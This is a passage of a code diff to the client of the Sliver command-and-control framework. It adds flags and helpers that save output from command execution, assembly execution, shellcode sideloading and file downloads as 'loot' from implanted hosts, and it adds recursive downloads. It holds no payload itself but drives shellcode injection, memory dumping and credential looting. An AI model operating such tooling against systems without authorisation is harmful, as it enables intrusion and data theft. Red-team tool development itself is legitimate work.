@@ -163,7 +186,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
next,
}
} else {
@@ -173,7 +196,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
next,
}
}
+24 -3
View File
@@ -994,10 +994,12 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.Bool("T", "token", false, "execute command with current token (windows only)")
f.Bool("o", "output", false, "capture command output")
f.Bool("s", "save", false, "save output to a file")
f.Bool("X", "loot", false, "save output as loot")
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
f.String("E", "stderr", "", "remote path to redirect STDERR to")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1030,6 +1032,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1074,6 +1077,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -1099,6 +1104,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.String("e", "export", "ReflectiveLoader", "Entrypoint of the Reflective DLL")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
},
@@ -1255,6 +1262,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1311,6 +1319,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1460,6 +1469,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
@@ -1516,6 +1526,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
@@ -1761,6 +1772,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("c", "colorize-output", false, "colorize output")
f.Bool("x", "hex", false, "display as a hex dump")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.String("T", "type", "", "force a specific loot type (file/cred) if looting (optional)")
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting (optional)")
},
Args: func(a *grumble.Args) {
a.String("path", "path to the file to print")
@@ -1782,6 +1796,10 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("X", "loot", false, "save output as loot")
f.String("T", "type", "", "force a specific loot type (file/cred) if looting")
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting")
f.String("n", "name", "", "name to assign the download if looting")
f.Bool("r", "recurse", false, "recursively download all files in a directory")
},
Args: func(a *grumble.Args) {
a.String("remote-path", "path to the file or directory to download")
@@ -1892,6 +1910,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("p", "pid", -1, "target pid")
f.String("n", "name", "", "target process name")
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Bool("X", "loot", false, "save output as loot")
f.String("N", "loot-name", "", "name to assign when adding the memory dump to the loot store (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2125,6 +2145,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2463,7 +2484,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}),
Flags: func(f *grumble.Flags) {
f.String("b", "bind", "", "name of the named pipe to bind pivot listener")
f.Bool("a", "allow-all", false, "allow all users to connect")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -2755,7 +2776,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
f.Int("i", "id", 0, "id of portfwd to remove")
f.Uint64("i", "id", 0, "id of portfwd to remove")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -2841,7 +2862,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Add a remote file from the current session to the server's loot store",
LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}),
Args: func(a *grumble.Args) {
a.String("path", "The local file path to the loot")
a.String("path", "The file path on the remote host to the loot")
},
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "name of this piece of loot")
+14 -39
View File
@@ -20,13 +20,10 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -61,13 +58,16 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
assemblyArgs := ctx.Args.StringList("arguments")
process := ctx.Flags.String("process")
assemblyArgsStr := strings.Join(assemblyArgs, " ")
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: strings.Join(assemblyArgs, " "),
Arguments: assemblyArgsStr,
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
@@ -80,7 +80,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("%s", err)
return
}
hostname := getHostname(session, beacon)
hostName := getHostname(session, beacon)
if execAssembly.Response != nil && execAssembly.Response.Async {
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execAssembly)
@@ -88,52 +88,27 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
})
con.PrintAsyncResponse(execAssembly.Response)
} else {
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
}
}
// PrintExecuteAssembly - Print the results of an assembly execution
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if execAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, _ = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAssembly.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
if saveLoot {
LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
+1 -1
View File
@@ -125,7 +125,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
return
}
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
+128 -18
View File
@@ -18,7 +18,11 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
@@ -41,6 +45,12 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
output := ctx.Flags.Bool("output")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
var captureOutput bool = output || saveLoot || saveOutput
if output && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
@@ -56,7 +66,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: output,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
})
@@ -65,7 +75,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: output,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
})
@@ -84,22 +94,42 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecute(exec, ctx, con)
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
})
con.PrintAsyncResponse(exec.Response)
} else {
PrintExecute(exec, ctx, con)
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
}
}
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
var lootedOutput []byte
stdout := ctx.Flags.String("stdout")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
lootName := ctx.Flags.String("name")
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
if saveLoot || saveOutput {
lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
}
if saveLoot {
LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
}
if saveOutput {
SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
}
PrintExecute(exec, ctx, con)
}
// PrintExecute - Print the output of an executed command
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
saveLoot := ctx.Flags.Bool("loot")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("output")
if !output {
@@ -111,17 +141,14 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
return
}
combined := ""
if stdout == "" {
combined = string(exec.Stdout)
con.PrintInfof("Output:\n%s", combined)
con.PrintInfof("Output:\n%s", string(exec.Stdout))
} else {
con.PrintInfof("Stdout saved at %s\n", stdout)
}
if stderr == "" {
if !ignoreStderr && 0 < len(exec.Stderr) {
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
}
} else {
@@ -131,13 +158,96 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
}
if saveLoot && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
func determineCommandName(command string) string {
commandName := strings.ReplaceAll(command, "\\", "/")
commandName = commandName[strings.LastIndex(commandName, "/")+1:]
if strings.Contains(commandName, ".") {
commandName = commandName[:strings.LastIndex(commandName, ".")]
}
return commandName
}
func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
var outputString string = ""
if combineStdOut {
outputString += "Output (stdout):\n" + string(exec.Stdout)
}
if combineStdErr {
if combineStdOut {
outputString += "\n"
}
outputString += "Stderr:\n" + string(exec.Stderr)
}
return []byte(outputString)
}
func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
if len(commandOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
shortCommandName := determineCommandName(cmdName)
fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
if lootName == "" {
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
}
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
loot.SendLootMessage(lootMessage, con)
}
func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
con.PrintInfof("Output:\n%s", executionOutput)
if saveOutput {
SaveExecutionOutput(executionOutput, commandName, hostName, con)
}
}
func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
var outFilePath *os.File
var err error
if len(executionOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to save.")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
outFilePath, err = ioutil.TempFile("", outFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if outFilePath != nil {
outFilePath.Write([]byte(executionOutput))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+12 -20
View File
@@ -22,7 +22,6 @@ import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
@@ -70,7 +69,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
hostname := getHostname(session, beacon)
hostName := getHostname(session, beacon)
if sideload.Response != nil && sideload.Response.Async {
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideload)
@@ -78,34 +77,27 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSideload(sideload, hostname, ctx, con)
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
})
con.PrintAsyncResponse(sideload.Response)
} else {
PrintSideload(sideload, hostname, ctx, con)
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
}
}
// PrintSideload - Print the sideload command output
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if sideload.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", sideload.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideload.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
}
}
+12 -21
View File
@@ -4,8 +4,6 @@ import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
@@ -48,7 +46,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
hostname := getHostname(session, beacon)
hostName := getHostname(session, beacon)
if spawndll.Response != nil && spawndll.Response.Async {
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawndll)
@@ -56,34 +54,27 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSpawnDll(spawndll, hostname, ctx, con)
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
})
con.PrintAsyncResponse(spawndll.Response)
} else {
PrintSpawnDll(spawndll, hostname, ctx, con)
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
}
}
// PrintSpawnDll - Print the SpawnDll command response
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if spawndll.GetResponse().GetErr() != "" {
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", spawndll.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawndll.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
}
}
+30 -2
View File
@@ -27,6 +27,7 @@ import (
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -49,10 +50,14 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -74,16 +79,39 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
var (
lootDownload bool = true
err error
)
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
userLootType := ctx.Flags.String("type")
userLootFileType := ctx.Flags.String("file-type")
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
}
}
if saveLoot {
lootType, err := loot.ValidateLootType(userLootType)
if err != nil {
con.PrintErrorf("%s\n", err)
return
// Even if the loot type is bad, we can still print the result to the screen
// We will not loot it though
lootDownload = false
}
fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
if lootDownload {
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
con.Printf("\n")
}
}
if ctx.Flags.Bool("colorize-output") {
+136 -52
View File
@@ -24,44 +24,36 @@ import (
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/desertbit/grumble"
)
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
recurse := ctx.Flags.Bool("recurse")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
Recurse: recurse,
})
ctrl <- true
<-ctrl
@@ -76,60 +68,152 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintDownload(download, ctx, con)
HandleDownloadResponse(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintDownload(download, ctx, con)
HandleDownloadResponse(download, ctx, con)
}
}
// PrintDownload - Print the download response, and save file to disk
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
func prettifyDownloadName(path string) string {
nonAlphaNumericRegex, err := regexp.Compile("[^a-zA-Z0-9]+")
if err != nil {
// Well, we tried.
return path
}
pathNoSeparators := strings.ReplaceAll(path, "\\", "_")
pathNoSeparators = strings.ReplaceAll(pathNoSeparators, "/", "_")
filteredString := nonAlphaNumericRegex.ReplaceAllString(pathNoSeparators, "_")
// Collapse multiple underscores into one
multipleUnderscoreRegex, err := regexp.Compile("_{2,}")
if err != nil {
return filteredString
}
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
// If there is an underscore at the front of the filename, strip that off
if strings.HasPrefix(filteredString, "_") {
filteredString = filteredString[1:]
}
return filteredString
}
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
saveLoot := ctx.Flags.Bool("loot")
if download.ReadFiles == 0 {
// No files downloaded successfully.
con.PrintErrorf("No files downloaded from the implant - check permissions, path, and / or filters.\n")
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
if saveLoot {
lootName := ctx.Flags.String("name")
lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Hand off to the loot package to take care of looting
fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
fileName := filepath.Base(remotePath)
dst, err := filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
if download.IsDir {
// Come up with a good file name - filters might make the filename ugly
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(con.GetActiveSessionConfig().Name), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
}
if runtime.GOOS == "windows" {
// Windows has a file path length of 260 characters
// +1 for the path separator before the file name
if len(dst)+len(fileName)+1 > 260 {
// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
dst = path.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
